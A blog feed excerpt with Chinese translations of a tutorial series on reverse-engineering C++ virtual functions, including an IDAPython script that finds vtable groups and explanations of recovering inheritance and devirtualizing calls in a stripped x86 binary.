&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    is no table&amp;#39;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; offset_to_top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; read_signed_32bit&lt;&#x2F;span&gt;&lt;span&gt;(ea)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; rtti_ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; read_ea&lt;&#x2F;span&gt;&lt;span&gt;(ea)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; rtti_ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; None&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    func_count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        next_ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; func_ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; read_ea&lt;&#x2F;span&gt;&lt;span&gt;(ea)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; not&lt;&#x2F;span&gt;&lt;span&gt; func_ptr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; idautils&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;Functions&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        func_count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; next_ea&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; func_count&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; None&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; offset_to_top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; ea&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; get_table_group_bounds&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ea&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    &amp;#39;&amp;#39;&amp;#39; Given an address, returns the (start_ea, end_ea) pair&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    for the table group located at that address&amp;#39;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    start_ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ea&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    prev_offset_to_top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; None&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; True&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        table&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; get_table&lt;&#x2F;span&gt;&lt;span&gt;(ea)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; table&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; is&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; None&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        offset_to_top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; end_ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; table&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; prev_offset_to_top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; is&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; None&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            if&lt;&#x2F;span&gt;&lt;span&gt; offset_to_top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;                break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            prev_offset_to_top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; offset_to_top&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        elif&lt;&#x2F;span&gt;&lt;span&gt; offset_to_top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;gt;=&lt;&#x2F;span&gt;&lt;span&gt; prev_offset_to_top&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; end_ea&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; start_ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; ea&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; find_tablegroups&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;segname&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;.rodata&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    &amp;#39;&amp;#39;&amp;#39; Returns a list of (start, end) ea pairs for the&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    vtable groups in &amp;#39;segname&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    &amp;#39;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    seg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; idaapi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;get_segm_by_name&lt;&#x2F;span&gt;&lt;span&gt;(segname)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; seg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;startEA&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    groups&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    while&lt;&#x2F;span&gt;&lt;span&gt; ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; seg&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;endEA&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        bounds&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; get_table_group_bounds&lt;&#x2F;span&gt;&lt;span&gt;(ea)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; bounds[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span&gt; bounds[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;            continue&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        groups&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;append&lt;&#x2F;span&gt;&lt;span&gt;(bounds)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; bounds[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; groups&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在IDAPython中加载上述脚本后，运行&lt;code&gt;find_tablegroups&lt;&#x2F;code&gt;，即可得到所有找到的虚表组的地址。现在你可以为所欲为，比如根据这些信息为张虚表建立结构体，等等。&lt;&#x2F;p&gt;
&lt;p&gt;但是，只知道虚表组在哪没什么用。我们还需要得知和这些虚表对应的不同类型之间，有什么样的关系。这样，我们才能了解每个虚函数调用中，有哪些函数可能被调用，从而得知这个对象在继承关系中处于怎样的位置。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hui-fu-lei-xing-guan-xi&quot;&gt;恢复类型关系&lt;&#x2F;h2&gt;
&lt;p&gt;搞定这个问题，最简单的方法是，共用两个函数指针的两张虚表一定有某种关系。尽管不能恢复这些关系，但也足够给我们一些可用的信息了。&lt;&#x2F;p&gt;
&lt;p&gt;但是，考虑一下C++中构造器和析构器的行为，我们可以做的更好。一个构造器需要做这些事情：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;调用父类的构造器&lt;&#x2F;li&gt;
&lt;li&gt;初始化这个类型对应的虚表指针&lt;&#x2F;li&gt;
&lt;li&gt;初始对象内部的成员&lt;&#x2F;li&gt;
&lt;li&gt;运行构造器中的其他代码&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;析构器则相反：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;将虚表指针指向这个类的虚表&lt;&#x2F;li&gt;
&lt;li&gt;运行析构器的其他代码&lt;&#x2F;li&gt;
&lt;li&gt;销毁对象成员&lt;&#x2F;li&gt;
&lt;li&gt;调用父类析构器&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;注意，虚表指针在析构器中又被重新设置了一次。考虑到在析构器中我们需要让虚函数调用发挥作用，这么做是正确的。假设我们将&lt;code&gt;Bird&lt;&#x2F;code&gt;类改个名字，叫&lt;code&gt;fly&lt;&#x2F;code&gt;。如果你要析构一个&lt;code&gt;Bat&lt;&#x2F;code&gt;对象，那么在调用&lt;code&gt;Bird&lt;&#x2F;code&gt;类的析构器时，应该调用的是&lt;code&gt;Bird::fly&lt;&#x2F;code&gt;而不是&lt;code&gt;Bat::fly&lt;&#x2F;code&gt;，因为这个对象已经不再是一个&lt;code&gt;Bat&lt;&#x2F;code&gt;类的对象。因此，&lt;code&gt;Bird&lt;&#x2F;code&gt;类的析构器一定要更新一下虚表。&lt;&#x2F;p&gt;
&lt;p&gt;那么现在我们知道了，每个析构器都要调用父类的析构器，而这些析构器因为要重置虚表指针，也会和虚表之间产生引用关系。因此，我们可以通过跟踪析构器的行为，重新构造出继承关系。类似的思路在构造器上也能实现。&lt;&#x2F;p&gt;
&lt;p&gt;考虑第一个虚表中的第一个项目（应该是一个析构器）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-2&#x2F;.&#x2F;2017-01-23-184412_418x135_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注意这里有两次赋值，都是在处理虚表指针，也就是刚才我们描述的析构器工作流程中的第一步。这个类看起来没有任何成员，因为析构器跳过了第二步和第三步，直接进行第四步。从其他函数在虚表中的位置（一个在6号表的头部，另一个在3号表的头部），可以看出他们都是析构器。对所有虚表都这样研究一下，我们可以得到这么一个拓扑：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-2&#x2F;.&#x2F;inheritance--1-.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这和源码中描述的继承关系相符。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-bie-gou-zao-qi&quot;&gt;识别构造器&lt;&#x2F;h2&gt;
&lt;p&gt;原理很简单：所有把虚表的地址&lt;em&gt;赋值给虚指针而不是析构器&lt;&#x2F;em&gt;的函数是构造器。这样我们能找到六个这样的函数：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Constructor&lt;&#x2F;th&gt;&lt;th&gt;Table&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;sub_8048AEC&lt;&#x2F;td&gt;&lt;td&gt;Table 1&#x2F;2&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;sub_8048A64&lt;&#x2F;td&gt;&lt;td&gt;Table 3&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;sub_80489A8&lt;&#x2F;td&gt;&lt;td&gt;Table 4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;sub_80488EC&lt;&#x2F;td&gt;&lt;td&gt;Table 5&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;sub_8048864&lt;&#x2F;td&gt;&lt;td&gt;Table 6&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;qu-xu-hua&quot;&gt;去虚化&lt;&#x2F;h2&gt;
&lt;p&gt;来看一下主函数：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-2&#x2F;.&#x2F;2017-01-23-185429_638x534_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;很明显，在28和29行的调用是虚函数。此外，从上面的表格中，我们可以知道在13、16、22和25行的函数是构造器。有了这些准备，我们可以用第一篇文章中的知识，进行去虚化：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-2&#x2F;.&#x2F;2017-01-23-195432_518x533_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里，我把&lt;code&gt;v0&lt;&#x2F;code&gt;的类型设置为&lt;code&gt;type_8048D40*&lt;&#x2F;code&gt;。这是和第一张、第二张虚表以及第13行的构造器相关的类型。同理，第16行的构造器和第五张虚表有关联，我创建了一个名为&lt;code&gt;type_8048D98&lt;&#x2F;code&gt;的类型（后面的地址是虚表开始的地址，你也可以随意改个名字）。第28和29行的&lt;code&gt;v2&lt;&#x2F;code&gt;和&lt;code&gt;v3&lt;&#x2F;code&gt;也能用这种方法处理好。&lt;&#x2F;p&gt;
&lt;p&gt;到此，尽管源代码中包含可以帮助我们更容易识别类型和方法的字符串等信息，我们完全没有凭借这些信息，就完成了“去虚化”。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiao-jie&quot;&gt;小结&lt;&#x2F;h2&gt;
&lt;p&gt;这个过程仍然非常笨拙，但至少我们前进了一步，现在我们基本上可以自动探测虚表了。现在，自动化创建和类对应的结构体已经有了可能，而自动定位构造器的位置也不是毫无可能。我们可以准备重构类型之间的继承树了。下一篇文章中，我们会研究更多相关的内容。&lt;&#x2F;p&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;1&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;1&lt;&#x2F;sup&gt;
&lt;p&gt;译者注：还看不懂的话自己写个程序调一下&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>C++虚函数逆向(1)</title>
        <published>2016-12-29T00:00:00+00:00</published>
        <updated>2016-12-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/cpp-vfunc-reversing-1/"/>
        <id>https://blog.iret.xyz/posts/cpp-vfunc-reversing-1/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/cpp-vfunc-reversing-1/">&lt;blockquote&gt;
&lt;p&gt;译者注：译者Silver@XDSEC，原文地址&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;alschwalm.com&#x2F;blog&#x2F;static&#x2F;2016&#x2F;12&#x2F;17&#x2F;reversing-c-virtual-functions&#x2F;&quot;&gt;https:&#x2F;&#x2F;alschwalm.com&#x2F;blog&#x2F;static&#x2F;2016&#x2F;12&#x2F;17&#x2F;reversing-c-virtual-functions&#x2F;&lt;&#x2F;a&gt;，作者为Adam Schwalm。译文首发于Freebux。本来想投36x赚点稿费，但是他们的编辑器实在太难用了，就投了支持Markdown的Freebux，结果后来才知道36x也能用markdown投……嘛，反正已经投了，就这样吧。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h2&gt;
&lt;p&gt;关于C++程序的逆向，网络上已经有很多文章了，这些文章也或多或少的提到了虚函数。然而，这篇文章中，我想着重介绍一下，在代码量比较大的程序中，我们应该如何处理虚函数。这些程序里，通常存在着数以千计的类，类型之间的关系也很复杂，因此在我看来，分享处理这些类的经验是很有价值的。但在我介绍这些复杂的案例之前，我会先介绍一些简单的栗子。如果你已经对虚函数的逆向有了一些了解，那么可以直接去看本文的第二部分。（译者注：截止本文翻译结束前，作者尚未发布第二部分）&lt;&#x2F;p&gt;
&lt;p&gt;此外，注意以下几点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;示例代码编译时没有使用RTTI，也没有使用异常机制&lt;&#x2F;li&gt;
&lt;li&gt;下文中的样例在x86平台上测试&lt;&#x2F;li&gt;
&lt;li&gt;所有的二进制文件已经被strip了（剥离了符号）&lt;&#x2F;li&gt;
&lt;li&gt;大多数虚函数的实现细节是没有特定标准的，因此不同编译器对此的处理方法很可能不一致。因此，我们将着重讨论GCC编译器的行为&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;另外，我们的文件编译时的命令行参数为&lt;code&gt;g++ -m32 -fno-rtti -fnoexceptions -O1 file.cpp&lt;&#x2F;code&gt;，输出文件用&lt;code&gt;strip&lt;&#x2F;code&gt;处理过。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mu-biao&quot;&gt;目标&lt;&#x2F;h2&gt;
&lt;p&gt;大多数情况下，我们是没办法让一个对虚函数的调用，变换为一个对非虚函数的调用的。这是因为，我们需要的信息在静态编译中是不全面的，只有在运行时才会存在。因此，这段文章的目标，
是判断哪些函数会在特定的情况下被调用。稍后我们会学习其他的技巧，来进一步缩小范围。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ji-ben-gong&quot;&gt;基本功&lt;&#x2F;h2&gt;
&lt;p&gt;假设你已经比较熟悉C++了，但对它的具体实现还不太熟悉，那么就先来看一看编译器是如何实现虚函数的。现在有这么一段代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; file reversing-1.cpp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
